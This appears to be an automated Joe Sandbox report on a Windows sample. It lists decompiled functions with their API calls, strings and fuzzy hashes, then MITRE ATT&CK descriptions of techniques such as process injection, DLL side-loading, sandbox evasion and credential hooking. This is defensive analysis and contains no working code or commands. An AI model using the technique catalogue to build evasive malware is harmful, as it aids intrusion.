Function 00007FF752D1F218 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF752D1F249
GetLastError.KERNEL32 ref: 00007FF752D1F255
CloseHandle.KERNEL32 ref: 00007FF752D1F26D
CreateFileW.KERNEL32 ref: 00007FF752D1F298
WriteConsoleW.KERNEL32 ref: 00007FF752D1F2B7

Strings

CONOUT$, xrefs: 00007FF752D1F279

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 416c2b2a0521a7d1c3ca427947a8cf4391c97265ef363bff49f15efaecbf2927
Instruction ID: 6603a9d83673d58fbdaa4f9f3a5aec54f6eabb6175366629ac92613b771858ca
Opcode Fuzzy Hash: 416c2b2a0521a7d1c3ca427947a8cf4391c97265ef363bff49f15efaecbf2927
Instruction Fuzzy Hash: 01119632B18B8186E750AB52EC44729E3A0FB98BE4F584234ED5D97794DFBDD804C7A0

Function 00007FF752D193E4 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D193F3
FlsSetValue.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D19429
FlsSetValue.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D19456
FlsSetValue.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D19467
FlsSetValue.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D19478
SetLastError.KERNEL32(?,?,?,00007FF752D18E05,?,?,?,?,00007FF752D19A7F,?,?,00000000,00007FF752D19502,?,?,?), ref: 00007FF752D19493

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: b9b4e01528619efe32a9c9205cbe967385fbbf3e05cfeae52c0c01d95630ccff
Instruction ID: 78e33bbbe8abe2ecadcc3a7d3942c6e74bfa57d8d362a88cb6fcc51618233fcd
Opcode Fuzzy Hash: b9b4e01528619efe32a9c9205cbe967385fbbf3e05cfeae52c0c01d95630ccff
Instruction Fuzzy Hash: 18113B21B0C39242FA5873319E821B9A2526F887B0F9C4734D93E07ED6DEACA445C2B4

Function 00007FF752D1740C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF752D17431
GetProcAddress.KERNEL32 ref: 00007FF752D17447
FreeLibrary.KERNEL32 ref: 00007FF752D1746E

Strings

mscoree.dll, xrefs: 00007FF752D17428
CorExitProcess, xrefs: 00007FF752D17440

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 484c6602ddc3ca4301742a5820bfadcd23eb6048118f521682f46139b4188ba5
Instruction ID: 2ecd58af54032a06ec0e7328c600f287f06eb9ac6eb8ba40145c9f8b830ebd0a
Opcode Fuzzy Hash: 484c6602ddc3ca4301742a5820bfadcd23eb6048118f521682f46139b4188ba5
Instruction Fuzzy Hash: 99F04F21B1874281FB10AB24AC453799360AF497A1FD84339EA6D456F4CFADD049C770

Function 00007FF752D1F568 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF752D1F590
_set_statfp.LIBCMT ref: 00007FF752D1F5AB
_set_statfp.LIBCMT ref: 00007FF752D1F5C7
_set_statfp.LIBCMT ref: 00007FF752D1F603

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 1bb473138f9ce87012b926fcc367580a5a9421af8053392c5fe2b4c405943a53
Instruction ID: 303304858a20af921d9d6d1211bb135b8a67c5b51346dd4260ff4720958c70f1
Opcode Fuzzy Hash: 1bb473138f9ce87012b926fcc367580a5a9421af8053392c5fe2b4c405943a53
Instruction Fuzzy Hash: 2C118B32F58B4309F6683938EC91379E1416F59374F9C4634FA6E46EDA8EACA841C1B0

Function 00007FF752D194AC Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF752D169BE,?,?,?,00007FF752D16A07,?,?,00000000,00007FF752D16D2E), ref: 00007FF752D194CB
FlsSetValue.KERNEL32(?,?,?,00007FF752D169BE,?,?,?,00007FF752D16A07,?,?,00000000,00007FF752D16D2E), ref: 00007FF752D194EA
FlsSetValue.KERNEL32(?,?,?,00007FF752D169BE,?,?,?,00007FF752D16A07,?,?,00000000,00007FF752D16D2E), ref: 00007FF752D19512
FlsSetValue.KERNEL32(?,?,?,00007FF752D169BE,?,?,?,00007FF752D16A07,?,?,00000000,00007FF752D16D2E), ref: 00007FF752D19523
FlsSetValue.KERNEL32(?,?,?,00007FF752D169BE,?,?,?,00007FF752D16A07,?,?,00000000,00007FF752D16D2E), ref: 00007FF752D19534

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3ebb3bf590366f71e5fe5600651d11f4a63920f7e82dfa3554802df8119b393a
Instruction ID: 9338a36c75725011ad88713723ec55adcdb7b76a7d02a43feb98f80a89d315ce
Opcode Fuzzy Hash: 3ebb3bf590366f71e5fe5600651d11f4a63920f7e82dfa3554802df8119b393a
Instruction Fuzzy Hash: 5C11F961B0C34242FA98B735AE911B9A2515F847F4F9C4335E83E17ED6DEACE845C2B0

Function 00007FF752D19340 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF752D19351
FlsSetValue.KERNEL32 ref: 00007FF752D19370
FlsSetValue.KERNEL32 ref: 00007FF752D19398
FlsSetValue.KERNEL32 ref: 00007FF752D193A9
FlsSetValue.KERNEL32 ref: 00007FF752D193BA

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5e77e136c01eddc08769d0666a21f657701fc2ceb4c93a6a9b83bd7960eb0856
Instruction ID: 94deca5c68ee014ec029469f57826b92e7aa5e4064ed987965a24585ab17b837
Opcode Fuzzy Hash: 5e77e136c01eddc08769d0666a21f657701fc2ceb4c93a6a9b83bd7960eb0856
Instruction Fuzzy Hash: 6011E511F4C30742FAA8B2315CA11B992915F843B4FDC0734E97E4BAC2DDADB845C2B1

Function 00007FF752D1260C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF752D1261C
FreeLibrary.KERNEL32 ref: 00007FF752D1262F
SetLastError.KERNEL32 ref: 00007FF752D1263A

Strings

SAC_VERSION_10_9, xrefs: 00007FF752D12612

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: AddressErrorFreeLastLibraryProc
String ID: SAC_VERSION_10_9
API String ID: 1144718084-3929381416
Opcode ID: 9bb0762321984a575a5d4c5dea854fea2cb0a4afbae2c93dd87749a7c36dcae0
Instruction ID: 9120743726ed4b7fc02a4d5915558a93ce45c1c43b7262fac90ff7a9c37148d0
Opcode Fuzzy Hash: 9bb0762321984a575a5d4c5dea854fea2cb0a4afbae2c93dd87749a7c36dcae0
Instruction Fuzzy Hash: 7DE01250F1978781FB553B716C5417893605F18B51FEC5030C94E05391DEAEE4C8C334

Function 00007FF752D1D7C4 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF752D1D843
WriteFile.KERNEL32 ref: 00007FF752D1DB0B
WriteFile.KERNEL32 ref: 00007FF752D1DB51
GetLastError.KERNEL32 ref: 00007FF752D1DC07

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: b225ab4701a821b1c564b49655df9a72fefafa3d21660fbee393d9275da52907
Instruction ID: 50a814037b6773022d324ce39f6fe9af69d87d08f0704d5fb1dcdc670f1dea25
Opcode Fuzzy Hash: b225ab4701a821b1c564b49655df9a72fefafa3d21660fbee393d9275da52907
Instruction Fuzzy Hash: 67D1F032B08B8189E711DFB5D8402AC77B2FB44798B984236DE5D97B99DF78D006C3A0

Function 00007FF752D1E0EC Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00007FF752D1E0D7,00000000), ref: 00007FF752D1E208
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00007FF752D1E0D7,00000000), ref: 00007FF752D1E293

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 0e92f45aab4448b6495972362855788907ec6b3b2145860aafb581eedb7d93f7
Instruction ID: 30d1a5dfd24122ac87cec5f65f4b2c3a2ca291da6a4f06d589eb492d24bd4c02
Opcode Fuzzy Hash: 0e92f45aab4448b6495972362855788907ec6b3b2145860aafb581eedb7d93f7
Instruction Fuzzy Hash: 3291B132B0875189F754AB7598902BCABA0BB45B88F9C4139DE4E57A85CFB8E481C770

Function 00007FF752D15AC8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF752D14364: LdrLoadDll.NTDLL ref: 00007FF752D143F6

__std_exception_copy.LIBVCRUNTIME ref: 00007FF752D15D24

Strings

csm, xrefs: 00007FF752D15B12
csm, xrefs: 00007FF752D15C2A

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load__std_exception_copy
String ID: csm$csm
API String ID: 1200525721-3733052814
Opcode ID: 27844c416a907c529b15ba961238b4db965915ff5fb63413ea0df207f4fd3649
Instruction ID: ff7319f8293dc5d8f1e6214e3c09dd0b1f95cf04e2a5d391a598bb4d71508d20
Opcode Fuzzy Hash: 27844c416a907c529b15ba961238b4db965915ff5fb63413ea0df207f4fd3649
Instruction Fuzzy Hash: 95617F72A0834286EB24AF369944378B7A1EB54BC4F9C4136DA9D47F95CFBCE450C7A0

Function 00007FF752D15770 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF752D143BC: LdrLoadDll.NTDLL ref: 00007FF752D143F6

EncodePointer.KERNEL32 ref: 00007FF752D157BC

Strings

RCC, xrefs: 00007FF752D157D9
MOC, xrefs: 00007FF752D157D0

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: EncodeLoadPointer
String ID: MOC$RCC
API String ID: 229104965-2084237596
Opcode ID: ad012835fcc63b1d05886c9aa70ffa33e9dd6ded90a232ed8da2d18a4195175d
Instruction ID: 68d69e0372160d3c4e86975e15e84e11e03cd0cf98fb7b7b6c445b5f123db3f3
Opcode Fuzzy Hash: ad012835fcc63b1d05886c9aa70ffa33e9dd6ded90a232ed8da2d18a4195175d
Instruction Fuzzy Hash: 7D514B72A08B858AEB10DF65D8803ADB7A0FB44B98F584135EE4D17B59CFBCE145C760

Function 00007FF752D1DE5C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF752D1DF73
GetLastError.KERNEL32 ref: 00007FF752D1DF95

Strings

U, xrefs: 00007FF752D1DF1F

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: c5f31fbc844a7cafd3de29f5469a8b233e74ffb54cc7ca53e4d38f4a2b99adab
Instruction ID: a497e4fb370205260ad0a8c73cee9f55a483f0320948b45ceca8fd107d97e094
Opcode Fuzzy Hash: c5f31fbc844a7cafd3de29f5469a8b233e74ffb54cc7ca53e4d38f4a2b99adab
Instruction Fuzzy Hash: 3941D522B18B8186DB10AF25E8443A9B761FB98794F984131EE4D87B98DF7CD541C760

Function 00007FF752D165F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF752D16634
RaiseException.KERNEL32 ref: 00007FF752D1667A

Strings

csm, xrefs: 00007FF752D16667

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 7c279ebb97aa25c5b12da2d02331ed8abb5be48b0b9a66ee5d23d8769e27c090
Instruction ID: 7ba4e29ee51c736f4e02c47160d97bc78e8d41ce377f3783f3c5cb282ada2557
Opcode Fuzzy Hash: 7c279ebb97aa25c5b12da2d02331ed8abb5be48b0b9a66ee5d23d8769e27c090
Instruction Fuzzy Hash: 9A114F32A18B8182EB509F25F840269B7A5FB88B84F5C8274EE8C07B69DF7DD551CB50

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

